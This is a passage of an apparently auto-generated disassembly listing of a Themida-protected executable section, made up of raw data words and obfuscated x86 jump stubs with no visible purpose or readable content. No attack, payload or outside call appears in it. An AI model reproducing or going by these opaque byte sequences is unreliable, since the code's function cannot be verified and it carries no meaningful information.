'$\‰$$éÀ€',0 align 2 dw 0C681h dd 6C103440h, 30E1E9h, 0EC81AC00h, 4, 52240C89h, 0F6B2B151h dd 2AF180D1h, 8859CE88h, 738AE9F5h, 99BEFFFFh, 812A3952h dd 30DB65C6h, 0E9F701FDh, 1222h, 4EC81h, 8BE90000h, 0B3000007h dd 5BD8008Ah, 8B66B304h, 0C481241Ch, 2, 0E90AB252h, 76Bh dd 1578055Fh, 482D79D8h, 816338B7h, 511F06C2h, 81C2012Dh dd 511F06EAh, 0E957582Dh, 0FFFFBE22h, 4904C483h, 7503E981h dd 0CD01479Eh, 0FF5A3CE9h, 537A04FFh, 0FF983CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F521: ; CODE XREF: Themida_:00565A6Aj push esi mov esi, 32A114F9h and esi, 14AC68DCh not esi add esi, 64CE5DA4h mov ebx, esi jmp loc_559076 ; --------------------------------------------------------------------------- dd 52D831ADh, 28E9E289h, 0BAFFFF57h, 4, 4656EE81h, 0D6010268h dd 4656C681h, 4EE90268h, 81000087h, 2C3h, 241C8700h, 6624248Bh dd 5024048Bh, 0BF57E089h, 32F2080Ch, 0FF3F5DE9h, 240C89FFh dd 0D95FF8B9h, 5FFCBA2Eh, 0CA312ED9h, 0BFCE9h, 4EC8100h dd 89000000h, 92B9240Ch, 11C0428h, 5904244Ch, 0FF3AFCE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F5A9: ; CODE XREF: Themida_:00560845j mov ecx, [esp] add esp, 4 xchg ebx, esi not ebx xchg ebx, esi dec esi xor esi, 80091204h add ebx, esi pop esi sub esp, 4 mov [esp], ecx mov ecx, 1E491023h shl ecx, 2 sub ecx, 79244088h add ebx, ecx jmp loc_55E50E ; --------------------------------------------------------------------------- dd 5504C483h, 2BDh, 8BE80100h, 0C483242Ch, 24048704h, 6624248Bh dd 55240C8Bh, 0FFB958E9h, 84EF81FFh, 0E948557Fh, 0FFFFD9CEh ; --------------------------------------------------------------------------- loc_55F60C: ; CODE XREF: Themida_:005539E1j mov ebx, 7CD93F0Fh or esi, ebx mov ebx, [esp] add esp, 4 add esi, 4382804h xor esi, 2342731h add ebp, esi pop esi push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp div cx push small 4417h mov [esp], dx push ax pushf jmp loc_5530A5 ; --------------------------------------------------------------------------- dd 0C108EEC1h, 7AE904EEh, 5AFFFF81h, 8904EC83h, 0BE56240Ch dd 2B8F1238h, 5490EE81h, 0F6811FCDh, 0BC1BDA8h, 815EF189h dd 0BE058DE9h, 81D90164h, 0BE058DC1h, 59118964h, 24148B5Bh dd 8104C483h, 45F12477h, 4FFF3F71h, 2467C124h, 0B95108h dd 29B15DFFh, 3159244Fh, 76851D2h, 0E9000023h, 0FFFF7C89h dd 6649045Ah, 81240C8Bh, 2C4h, 41316800h, 0C890000h, 81E18924h dd 4C1h, 4E98100h, 87000000h, 0E95C240Ch, 5F5Eh, 8B2434FFh dd 15E92404h, 89FFFF4Bh, 11BB241Ch, 810A8B12h, 5428E2F3h dd 81D3F73Dh, 479F50C3h, 4B8AE997h, 0E8280000h, 83240C8Bh dd 0C1E904C4h, 81FFFFC2h, 0FFFFFFE9h, 0A327E9FFh, 0C181FFFFh dd 4, 4E981h, 93E90000h, 0F7000066h, 0E9FB87D7h, 0FFFF6DE2h dd 42474FFh, 24048F5Ah, 0FF4E79E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F73D: ; CODE XREF: Themida_:00555FAFj mov esp, [esp] pop dword ptr [esp] jmp loc_5592D1 ; --------------------------------------------------------------------------- dd 0B4240489h, 22E95110h, 54000049h, 40558h, 0EE90000h db 6, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F75F: ; CODE XREF: Themida_:00556782j mov edi, esi pop esi mov eax, edi jmp loc_56576A ; --------------------------------------------------------------------------- loc_55F769: ; CODE XREF: Themida_:005649FEj push edi jmp loc_56796D ; --------------------------------------------------------------------------- loc_55F76F: ; CODE XREF: Themida_:0055B763j pop esi add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] push ebx push 30A9h push 21D4h mov [esp], esp jmp loc_56377C ; --------------------------------------------------------------------------- db 0ACh dd 0FFE507E9h, 246C81FFh, 0DB46AE04h, 34FF597Ah, 0C4835824h dd 40504h, 50550000h, 1A38B4B8h, 899CE90Ah, 6653FFFFh dd 6661B2BBh, 0E904E3C1h, 0FFFF49A3h, 0D434C8FEh, 0E7E9C300h dd 0FF000085h, 0E9042474h, 7FCFh, 80ACB252h, 0D428CCEAh dd 58E2885Ah, 8007E2C0h, 0C2E96EF2h, 66000066h, 0E8C78058h dd 0EF80E728h, 7906E9E8h, 0F0000000h, 0F0285A66h, 12C592Ch dd 218BE9h, 9E95600h, 81FFFF9Ch, 82645C1h, 59CE014Eh, 56E08950h dd 0FF3F44E9h, 366CBAFFh, 0CA8153B8h, 6E1D56BAh, 0C281EAD1h dd 0D9AA489Eh, 815AD321h, 7833A3F3h, 5BDD8948h, 97E9DDF7h dd 8300001Bh, 148B04C4h, 4C48124h, 51000000h, 0FF7AAEE9h dd 0B84B8FFh, 0C52930EDh, 0F4C58158h, 0C12A8F5Ch, 0BF5704EDh dd 3D267297h, 8108E7C1h, 384E4CEFh, 0E9FD21CCh, 0FFFFEC09h dd 0F02EACBEh, 0E9F7092Bh, 6E51h ; --------------------------------------------------------------------------- loc_55F89C: ; CODE XREF: Themida_:0055B1CAj xor edi, eax pop eax jmp loc_558FF2 ; --------------------------------------------------------------------------- dd 0BD242C89h, 0FEh, 71F1E9h db 0 ; --------------------------------------------------------------------------- loc_55F8B1: ; CODE XREF: Themida_:0055962Cj push esi jmp loc_5584E8 ; --------------------------------------------------------------------------- db 5Eh dd 1128C181h, 0F101346Ah, 4EC8150h, 89000000h, 0E5E9243Ch db 92h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F8CF: ; CODE XREF: Themida_:00567593j push 4945h mov [esp], ebx push esp pop ebx add ebx, 4 push ecx mov ecx, 269A7F6Eh jmp loc_5597D8 ; --------------------------------------------------------------------------- a1Zhq db '1ÑZhq;',0 align 2 dw 1489h dd 7AE95424h, 31FFFF88h, 3C33243Ch, 47FAE924h, 48BFFFFh dd 0E6895624h, 4C681h, 0BF570000h, 4, 1FF3B951h, 0CE013D09h dd 0FF7BC6E9h, 5BA3BDFFh, 98E92DC3h, 51000032h, 42474FFh dd 0FFFA9CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F939: ; CODE XREF: Themida_:0055F1A1j dec ecx push edx mov edx, 0 jmp loc_565379 ; --------------------------------------------------------------------------- loc_55F945: ; CODE XREF: Themida_:00563790j pop ebx add esp, 4 jmp loc_5568A4 ; --------------------------------------------------------------------------- loc_55F94E: ; CODE XREF: Themida_:0055A6E3j and ebp, ebx mov ebx, [esp] add esp, 4 jmp loc_5674F5 ; --------------------------------------------------------------------------- loc_55F95E: ; CODE XREF: Themida_:00558C60j mov ecx, 77237DD6h not ecx jmp loc_55CC9D ; --------------------------------------------------------------------------- dw 0FF51h dd 59042474h, 5C24048Fh, 1A05D829h, 0E95CB333h, 7AFEh dd 8108E3C1h, 0E10380F3h, 81D3F716h, 75AC67C3h, 4CC68121h dd 8156ED52h, 0A4221BC6h, 81DE2960h, 0A4221BEEh, 0BD58E960h dd 0E381FFFFh, 46666918h, 6BC3814Bh, 1CBB3B7h, 0EC835BD9h dd 24148904h, 4D06BAh, 8515E942h, 3A050000h, 0E91F965Ch dd 0FFFF4CEEh, 0D6E95453h, 0B7000060h, 66F8280Ah, 0C0DF245Bh dd 0D0F603E0h, 0C328852Ch, 0EE95A58h, 0B9000040h, 4E446B55h dd 8B59C801h, 0C4832434h, 83565304h, 0C8904ECh, 299E6824h dd 34FF6087h, 0C4815924h, 4, 210D68h, 24048900h, 0DB2C74B8h dd 6850532Fh, 75737543h, 56C53558h, 7E92B0Ah, 81FFFF90h dd 6D61BBC3h, 87CDE92Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_55FA42: ; CODE XREF: Themida_:00554445j push esi mov esi, 301F3B93h jmp loc_55316D ; --------------------------------------------------------------------------- db 0F7h, 14h, 24h dd 0F2C18159h, 816B887Fh, 538406E9h, 8BCE0144h, 0C483240Ch dd 2434FF04h, 0FFBC21E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FA6D: ; CODE XREF: Themida_:00554583j add ecx, 4 xor ecx, [esp] jmp loc_5571C5 ; --------------------------------------------------------------------------- dd 81E18951h, 4C1h, 4C18100h, 87000000h, 565C240Ch, 42474FFh dd 24048F5Eh, 0E924248Bh, 0FFFF37A5h ; --------------------------------------------------------------------------- loc_55FA9C: ; CODE XREF: Themida_:0055E16Aj add esp, 4 push ebx add dword ptr [esp], 34EC10E4h mov eax, [esp] add esp, 4 sub eax, 34EC10E4h push dword ptr [esp] jmp loc_555949 ; --------------------------------------------------------------------------- loc_55FABD: ; CODE XREF: Themida_:005540A4j add dword ptr [eax], 4F646405h jmp loc_5530A5 ; --------------------------------------------------------------------------- dd 0E243481h, 5D05833Dh, 4EC81h, 0C890000h, 80F9E924h dd 0B9510000h, 4CF96D6Ah, 1777E9h db 0 ; --------------------------------------------------------------------------- loc_55FAE9: ; CODE XREF: Themida_:00566B1Cj xor eax, ecx push ebx push esp pop ebx push 3D4Ah mov [esp], edx mov edx, 4 add ebx, 5D8851A8h add ebx, edx sub ebx, 5D8851A8h pop edx jmp loc_555E95 ; --------------------------------------------------------------------------- db 58h dd 5E1AE9h, 5FFB0100h, 83AEE9h, 0AAC18100h, 8128DD6Ch dd 5F50E8C9h, 48E9817Fh, 895EE9A5h, 54E959CDh, 81000004h dd 4C4h, 0F7D2F700h, 0BCE281D2h, 81616A3Eh, 57F2F7C2h dd 0D6EF8129h, 0E940FB3Eh, 0FFFF6263h ; --------------------------------------------------------------------------- loc_55FB58: ; CODE XREF: Themida_:0055BA85j sub ebx, eax xchg eax, ebx mov ebx, [esp] add esp, 4 dec eax xor eax, 1EA10411h sub eax, 0B417B544h xor ecx, eax pop eax add edx, ecx pop ecx add edx, 4 xchg edx, [esp] pop esp or edx, eax shl edx, 1 jmp loc_56097D ; --------------------------------------------------------------------------- a_rs db '_Ré{]',0 align 4 dd 240C8B66h, 905AE957h, 0EE68FFFFh, 0E9000050h, 0FFFFDC9Ah ; --------------------------------------------------------------------------- loc_55FBA0: ; CODE XREF: Themida_:00558C10j or edi, 26041A8Eh neg edi and edi, 224E32h add edi, 69D501E0h jmp loc_561898 ; --------------------------------------------------------------------------- db 0BFh, 38h, 8 dd 0E99758CBh, 0FFFF9E15h, 60BEF381h, 0B951ED83h, 321C7030h dd 8159CB01h, 102DE1CBh, 0F3814337h, 7B9B0669h, 0FFCD0FE9h dd 240489FFh, 541DC2B8h, 8F685262h, 0E967F90Ch, 0FFFF860Ch dd 44CC381h, 0FB01485Eh, 8EB7E956h, 4810000h, 424h, 5BFEE900h dd 2C890000h, 5D2FBD24h, 6C3128A4h, 2C8B0424h, 4C48124h dd 0FF000000h, 2C8B2434h, 4C48324h, 5204C483h, 0F470D2BAh dd 8E49E91Bh, 0F9BF0000h, 81182F35h, 0F511C5EFh, 5FFD89D3h dd 33E9E901h, 6600004Ah, 7638E951h, 1C890000h, 3F67BB24h dd 0C3810C70h, 283C200Ch, 0E7E9DE89h, 56FFFF3Eh, 0C11725BEh dd 580C6855h, 5DE97740h, 0BFFFFF8Dh, 5DBE3DAAh, 2C7FBF57h dd 0F989BB25h, 0E9F9015Fh, 23D7h, 0E9243489h, 0FFFF4A1Ch dd 24048B66h, 3B84E951h, 52040000h, 2C8B5455h, 4C48124h dd 0E9000000h, 0FFFFC5D3h, 6620B652h, 2833B050h, 285866C6h dd 25E95AF0h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_55FCCB: ; CODE XREF: Themida_:00562171j xor edx, ecx not ecx jmp loc_5629CA ; --------------------------------------------------------------------------- dd 0BF243C89h, 29563524h, 5E08950h, 4, 42Dh, 24048700h dd 2434895Ch, 6D15BEh, 6BCE8142h, 4E166E51h, 8108EEC1h dd 93657CCEh, 366CE95Fh, 0FD08FFFFh, 0FF7398E9h, 81E689FFh dd 4C6h, 4C68100h, 87000000h, 15C2434h, 0E95258C6h, 0FFFF3A1Eh dd 0F918B9B9h, 28E9811Fh, 0C10302E9h, 74E905E1h, 1FFFFE0h dd 4E952F8h, 83FFFFA8h, 665904C4h, 6676DF68h, 68241489h dd 296Fh, 66240489h, 664CF668h, 50240C89h, 0C588AAB0h dd 0FFD284E9h, 405FFh, 4330000h, 24043124h, 8B240433h dd 6F092424h, 8FAEE91Ch, 0D8F70000h, 0DC30B105h, 68C3543h dd 0C529E2F5h, 5DEE2958h, 0FFD684E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FD9D: ; CODE XREF: Themida_:00565522j xchg ebx, [esp] mov esp, [esp] mov [esp], ebx mov ebx, esp add ebx, 4 push edi mov edi, 4 add ebx, edi pop edi xchg ebx, [esp] pop esp add esp, 4 push dword ptr [esp] mov ecx, [esp] add esp, 4 push ebp mov ebp, esp add ebp, 4 jmp loc_56153D ; --------------------------------------------------------------------------- loc_55FDDB: ; CODE XREF: Themida_:00565698j pop ebx sub esi, 187E235Fh or esi, 8057910h neg esi shl esi, 5 jmp loc_557BB7 ; --------------------------------------------------------------------------- dw 0C15Fh dd 0EA8106E2h, 0F6004AEFh, 3E6CE9h, 0C1DFF700h, 0F78105EFh dd 7165889Fh, 815FFA21h, 0A00C18CAh, 0FEC28131h, 891FD419h dd 4F4F5AD7h, 0B257E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FE26: ; CODE XREF: Themida_:005626F6j pop esp sub ecx, 21152A5Dh not ecx add ecx, 5456EEF1h mov edx, ecx mov ecx, [esp] add esp, 4 jmp loc_55959C ; --------------------------------------------------------------------------- db 0C1h, 0EEh, 5 dd 0FFADC7E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FE4D: ; CODE XREF: Themida_:00568AC9j pop eax add edx, ebp pop ebp add edx, 479D6B91h mov esi, [esp] jmp loc_55C1E3 ; --------------------------------------------------------------------------- db 5Ch dd 3249C381h, 0EB814BA5h, 1A83CBBh, 0C7E9C301h, 5DFFFF7Dh dd 205h, 24043300h, 0E9240431h, 0FFFF5C1Dh ; --------------------------------------------------------------------------- loc_55FE84: ; CODE XREF: Themida_:0056030Fj mov [esp], ebx push 7175h mov [esp], ecx mov ecx, 7D243B5h xor [esp+4], ecx jmp loc_555F38 ; --------------------------------------------------------------------------- loc_55FE9D: ; CODE XREF: Themida_:00558E21j push ebx mov ebx, 0 sub ebx, edx xor edx, ebx jmp loc_55C2DE ; --------------------------------------------------------------------------- dd 348B5456h, 4C48324h, 0FF933FE9h, 74FF50FFh, 8F580424h dd 895C2404h, 8682414h, 5A444948h, 0FF44E0E9h, 4C481FFh dd 56000000h, 533246BEh, 0DEA8110h, 295D7E5Fh, 0DC281F2h dd 0E95D7E5Fh, 0FFFF335Ah, 1AF7685Bh, 0C890000h, 526F6824h dd 14890000h, 3AB45024h, 0F66CB753h, 0F6DFF6DFh, 0FD8E9D7h dd 0FFBB0000h, 29FFFFFFh, 0F2815BDAh, 692774AFh, 0FF59B7E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FF25: ; CODE XREF: Themida_:00567713j xor edx, 481B89D6h add edi, edx pop edx xchg edi, [esp] mov esp, [esp] sub ecx, 0D2B4EE7Bh mov eax, ecx push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 push eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax jmp loc_564C8E ; --------------------------------------------------------------------------- dw 79B5h dd 2EC81h, 89660000h, 0A5B3241Ch, 5B66D800h, 0A52CE800h dd 240C8B66h, 2C481h, 0AE90000h, 68FFFF5Eh, 63E5h, 0BE243489h dd 2B3F0FE3h, 1318ED81h, 0F52945A5h, 1318C581h, 348B45A5h dd 4C48124h, 0E9000000h, 0FFFF83D6h, 0C85CC681h, 0F501FE5Fh dd 0E9E8895Eh, 0FFFFF235h ; --------------------------------------------------------------------------- loc_55FFC4: ; CODE XREF: Themida_:0055316Fj push ebx mov ebx, 76716155h shl ebx, 7 not ebx sub ebx, 2E1F3063h add ebx, 53074DD2h add ebx, 2F3D079Ah add ebx, 29A7FA3Dh mov edi, ebx pop ebx or esi, edi jmp loc_556DAF ; --------------------------------------------------------------------------- db 0BBh, 0BDh, 7Bh dd 0CB815928h, 2E5A2D05h, 5EF9EB81h, 0D9011FBBh, 241C8B5Bh dd 0FFCA57E9h db 0FFh ; --------------------------------------------------------------------------- loc_56000D: ; CODE XREF: Themida_:005683CCj pop edi not ebx sub ebx, 0FFFFFFFFh sub ebx, 4941313Ah push ebx xor dword ptr [esp], 73CE7508h jmp loc_55A69D ; --------------------------------------------------------------------------- dw 315Ah dd 5D04246Ch, 5AF6815Eh, 0E920941Ah, 0FFFFDABFh, 3DF6E981h dd 0C8892BEBh, 32932D59h, 3E9028Bh, 2D00004Fh, 2D3D1AECh dd 0EC05F029h, 5E2D3D1Ah, 1164E605h, 57D82976h, 0C1268h dd 241C8900h, 133ECFBBh, 0EDB7BF7Ch, 0DF019DA6h, 0B39DE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56007A: ; CODE XREF: Themida_:00554093j pop eax add eax, 3A2E18A3h mov ebp, [esp] add esp, 4 push dword ptr [esp] pop edi jmp loc_5676BB ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h, 8324048Bh, 895104C4h, 4BA52E1h, 81000000h dd 127793E9h, 5F31E94Bh, 2CACFFFFh, 0E9252C93h, 36B7h ; --------------------------------------------------------------------------- loc_5600BC: ; CODE XREF: Themida_:00565391j pop edx push edi mov edi, esp add edi, 4 push eax mov eax, 4 add edi, eax pop eax push edi jmp loc_55C64F ; --------------------------------------------------------------------------- loc_5600D5: ; CODE XREF: Themida_:00563A1Ej mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] push edx jmp loc_558D9B ; --------------------------------------------------------------------------- dd 551CE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5600EE: ; CODE XREF: Themida_:00563455j pop ebp mov edx, 0F07AD962h jmp loc_564BEE ; --------------------------------------------------------------------------- loc_5600F9: ; CODE XREF: Themida_:005576FDj pop ebx add ebp, 4 xchg ebp, [esp] mov esp, [esp] push 1E40h mov [esp], esi mov esi, 4 add edx, 134D0BEDh add edx, esi sub edx, 134D0BEDh push dword ptr [esp] mov esi, [esp] add esp, 4 push edi jmp loc_55B6B8 ; --------------------------------------------------------------------------- loc_560130: ; CODE XREF: Themida_:00554B58j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp or [edi+1Ch], eax jmp loc_55EBE1 ; --------------------------------------------------------------------------- loc_560145: ; CODE XREF: Themida_:005547C7j pop edx mov edi, [esp] push eax mov eax, esp add eax, 4 jmp loc_5614EF ; --------------------------------------------------------------------------- dw 0F280h dd 5AD02841h, 431068h, 24048900h, 0E92414F6h, 0FFFF4338h dd 4EC81h, 2CE90000h db 84h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560177: ; CODE XREF: Themida_:0055D097j mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] mov [esp], eax jmp loc_5530A5 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 83240C8Bh, 0C48304C4h, 24540104h, 2C8B5A04h, 4C48124h dd 0E9000000h, 29B7h, 4C281h, 14870000h, 84E95C24h, 5AFFFFE5h dd 4C281h, 0C2830000h, 24148704h, 0AF2815Ch, 8149D500h dd 1D57C4EFh, 0E9D70134h, 7A18h ; --------------------------------------------------------------------------- loc_5601DC: ; CODE XREF: Themida_:0055D27Cj mov esi, 72183329h push 4EDh mov [esp], edx mov edx, 70FC31F0h xor esi, edx pop edx not esi push ebp mov ebp, 0FA95E4CEh xor esi, ebp pop ebp push esi mov esi, 4075D54h jmp loc_56839E ; --------------------------------------------------------------------------- db 66h dd 8166C329h, 663693EBh, 0C3816658h, 70E905C7h, 53FFFFC6h dd 4BBh, 245C0100h, 0E95A5B04h, 560Bh, 60D4E95Bh, 0C4810000h dd 4, 2952685Dh, 34890000h, 24048124h, 61067DFBh, 3008E95Fh dd 0F201FFFFh, 241C8B5Eh, 4EC81h, 2C890000h, 81E58924h dd 4C5h, 4C58100h, 87000000h, 815C242Ch, 4C2h, 215FE900h dd 0E6C10000h, 0B7E95208h, 100005Dh, 24148BD7h, 8104C483h dd 0AA0E90CFh, 2162E968h db 2 dup(0) ; --------------------------------------------------------------------------- loc_560296: ; CODE XREF: Themida_:0055B4FEj and eax, edx pop edx inc eax jmp loc_562ED0 ; --------------------------------------------------------------------------- db 81h dd 0E6187BEDh, 72EEE941h, 0E0BA0000h, 0E921C811h, 1DFDh dd 8124048Fh, 42404h, 50590000h, 1A56B7B8h, 3E8C14Bh, 3502E0C1h dd 258D2B5Ch, 7183C181h, 0C10111FEh, 7183E981h, 815811FEh dd 4E9h, 0F645E900h, 0E789FFFFh, 1F8EE9h db 0 ; --------------------------------------------------------------------------- loc_5602F1: ; CODE XREF: Themida_:0055B319j pop edi add edi, 4 jmp loc_558622 ; --------------------------------------------------------------------------- loc_5602FD: ; CODE XREF: Themida_:00561015j add ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_55FE84 ; --------------------------------------------------------------------------- loc_560314: ; CODE XREF: Themida_:0055B6FDj mov esi, 2AD10662h mov ecx, 6A6365A3h sub ecx, esi mov esi, [esp] add esp, 4 mov ebp, ecx mov ecx, [esp] add esp, 4 add ebp, 2475D161h add edi, ebp pop ebp or edi, 28746952h push 7E1Fh jmp loc_5593D6 ; --------------------------------------------------------------------------- db 5Fh, 33h, 2Ch dd 242C3124h, 8B242C33h, 8B662424h, 0E9532404h, 8592h dd 1259E942h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56036A: ; CODE XREF: Themida_:005664A8j mov [esp], edi mov edi, 4 add edx, edi mov edi, [esp] jmp loc_55EB6F ; --------------------------------------------------------------------------- loc_56037C: ; CODE XREF: Themida_:00553CA1j push ebp jmp loc_56441F ; --------------------------------------------------------------------------- dw 8950h dd 405E0h, 42D0000h, 87000000h, 895C2404h, 5052240Ch, 0E3F80B8h dd 58C28936h, 555A5952h, 0C960C5BDh, 45ED814Ch, 182D79Ch dd 4F095DE9h, 240C8B1Ch, 0FF9C2DE9h, 2434FFFFh, 8124148Bh dd 4C4h, 22CC6800h, 4890000h, 5E08924h, 4, 405h, 24048700h dd 8170E95Ch, 0DEF70000h, 0BB5346h, 29000000h, 5BDE87F3h dd 670AEE81h, 0A3E9586Bh, 80FFFF2Eh, 5EE918C7h, 8100004Ch dd 69547FEEh, 0E9D62923h, 190h, 58C188h, 240C8BC8h, 0FFF926E9h db 0FFh ; --------------------------------------------------------------------------- loc_560421: ; CODE XREF: Themida_:00561A07j pop ebx push ebx mov ebx, 0AE548730h add edi, ebx pop ebx add esi, 6FA46238h jmp loc_55B2FB ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48324h, 0FFD73AE9h, 1854BEFFh, 0EE81424Ch, 6EEFE48h dd 0FF8FCDE9h, 59EB88FFh, 8085C380h, 0F380B5EBh, 0B252665Bh dd 66D300F3h, 5BD8285Ah, 58C688h, 509FE9F0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_560472: ; CODE XREF: Themida_:00556B80j pop eax and ebx, edi mov edi, [esp] push eax mov eax, esp jmp loc_559D19 ; --------------------------------------------------------------------------- dd 8704E883h, 248B2404h, 241C8924h, 0B8505B54h, 2F0F67CCh dd 12Dh, 6093E900h, 0DEF70000h, 0EEC681h, 4E969B1h db 27h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5604AB: ; CODE XREF: Themida_:00561CE7j pop esp and ecx, edi mov edi, [esp] add esp, 4 shr ecx, 2 push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_55EE5C ; --------------------------------------------------------------------------- loc_5604D1: ; CODE XREF: Themida_:00565F84j add edx, esi pop esi add edx, ebx sub edx, 71F93869h pop ebx push 20B7h mov [esp], ecx mov ecx, 5F1527D9h add ecx, 0A0EAD82Bh add edx, ecx jmp loc_55D126 ; --------------------------------------------------------------------------- loc_5604F7: ; CODE XREF: Themida_:0055A882j not esi push 1B9h mov [esp], ecx jmp loc_55DDF4 ; --------------------------------------------------------------------------- loc_560506: ; CODE XREF: Themida_:0056259Bj push edx mov edx, 6BBD041Eh jmp loc_557474 ; --------------------------------------------------------------------------- db 0F7h, 0D9h, 53h dd 0E4F735BBh, 5BD931A2h, 5659CA89h, 0FFBA6CE9h, 68FA01FFh dd 65C0h, 0BB241C89h, 5B623FEFh, 3D6CC281h, 0F5E92506h db 95h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56053F: ; CODE XREF: Themida_:0055B55Bj shr esi, 5 sub esi, 4178E35h mov eax, esi jmp loc_553E49 ; --------------------------------------------------------------------------- db 64h dd 2B60F66h, 338368h, 242C8900h, 0EC81E589h, 4, 81243489h dd 4ECh, 241C8900h, 4240B850h, 0C3892E7Bh, 0D8895058h dd 0E958C689h, 0FFFFC9CDh ; --------------------------------------------------------------------------- loc_560584: ; CODE XREF: Themida_:005578D8j not ebx push 6B7Ah jmp loc_560968 ; --------------------------------------------------------------------------- dd 2E2EC281h, 348B1161h, 4C48124h, 0E9000000h, 0FFFF72D5h dd 2D29B850h, 2D4804A2h, 4AAF39CFh, 9802A505h, 53A9E960h dd 91BB0000h, 0BE1FC128h, 3DD53CAEh, 895BDE31h, 0E9525EF3h dd 11F3h, 5A2434FFh, 0FF63E5E9h, 4BE953FFh, 52FFFFD2h dd 2474FF51h, 0A437E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5605EA: ; CODE XREF: Themida_:0056818Cj sub ecx, 16BD4010h jmp loc_55904F ; --------------------------------------------------------------------------- db 83h, 0C1h, 4 dd 2474FF51h, 48F5904h, 48F5C24h, 24248B24h, 4EC81h, 0E1E90000h dd 83FFFF8Ah, 3C8704EFh, 85E95C24h, 8BFFFFF2h, 0C4832434h dd 0E9EE8904h, 0FFFF9C0Bh, 2404085Ch, 4DECE99Ch, 0FD89FFFFh dd 43BA525Fh, 31337A43h, 0CE86E9D5h, 70B0FFFFh, 0FDB55166h dd 5966E828h, 0FFC279E9h, 0F32858FFh, 5BD8005Ah, 2EF8E9h db 0 ; --------------------------------------------------------------------------- loc_560661: ; CODE XREF: Themida_:00555EF7j or edi, 11DF1426h jmp loc_55880A ; --------------------------------------------------------------------------- aQFh db 'Q±!fh',0 dw 0E900h dd 0FFFF5FBCh, 54241C89h, 4B9515Bh, 1000000h, 0C38159CBh dd 4, 31241C33h, 0AAE9241Ch, 89FFFFAFh, 0BA522424h, 4 dd 4245401h, 19D3E9h, 24248B00h, 9C2404FFh, 0FF29F0E9h dd 41C681FFh, 81080525h, 3C3F9EC6h, 1AE9593Fh, 29000048h dd 2C8B5EF3h, 1F086824h, 2C890000h, 4EC8324h, 83242489h dd 5D042404h, 7078E956h, 348B0000h, 52B8E924h, 0D329FFFFh dd 2DFAE9h db 0 ; --------------------------------------------------------------------------- loc_5606F5: ; CODE XREF: Themida_:00555C26j add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esp jmp loc_55BFC6 ; --------------------------------------------------------------------------- loc_56070A: ; CODE XREF: Themida_:00563233j pop edx sub dword ptr [esp+4], 4966475Eh add [esp+4], ebp add dword ptr [esp+4], 4966475Eh sub dword ptr [esp+4], 2EC956D4h jmp loc_559773 ; --------------------------------------------------------------------------- dd 4EC835Ch, 57241C89h, 0E01D9768h, 0DFF75F19h, 2620F781h dd 3E95118h, 0FEFFFF97h, 0E99C2404h, 0FFFFB4A2h, 4EC81h dd 4890000h, 55E08924h, 2DE2B951h, 0B6E94655h, 0D1FFFFF3h dd 0B4EA81E2h, 0E9C335E0h, 458Ch ; --------------------------------------------------------------------------- loc_560774: ; CODE XREF: Themida_:0055C475j mov esp, [esp] mov ax, [esp] push 6D1Fh jmp loc_563A16 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 81E28952h, 4C2h, 4C28100h, 52000000h, 42474FFh, 24048F5Ah dd 4EC815Ch, 89000000h, 4BA2414h, 1000000h, 0FF565AD6h dd 8B042474h, 89512434h, 5FDEE9E1h, 0DA29FFFFh, 0FFB3E6E9h db 0FFh ; --------------------------------------------------------------------------- loc_5607C9: ; CODE XREF: Themida_:00561232j add edx, 404D34D8h xor edx, 0A96F0B84h sub ecx, edx pop edx sub ebx, ecx pop ecx sub esp, 4 mov [esp], ebx push dword ptr [esp+4] jmp loc_55504E ; --------------------------------------------------------------------------- dw 815Ch dd 861050EFh, 0EE0BE96Eh, 685BFFFFh, 18Eh, 0BD242C89h dd 31695CE8h, 75A0F581h, 19E90005h db 8Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56080F: ; CODE XREF: Themida_:00568A41j add dword ptr [esp], 593B6674h jmp loc_555C6D ; --------------------------------------------------------------------------- loc_56081B: ; CODE XREF: Themida_:0055890Cj and edx, 12E8774Bh inc edx xor edx, 2A220EFDh mov esi, edx mov edx, [esp] add esp, 4 add esi, 3B6C62E5h push 636Eh mov [esp], ecx mov ecx, 7E8225DEh or esi, ecx jmp loc_55F5A9 ; --------------------------------------------------------------------------- dw 1C8Bh dd 942DE924h, 0E1BBFFFFh, 4B154035h, 0D3F7DBF7h, 1D0C381h dd 0DF89FEEFh, 0CCBA525Bh, 2944407Bh, 5363E9D1h, 8E680000h dd 89000010h, 74FF240Ch, 8F590424h, 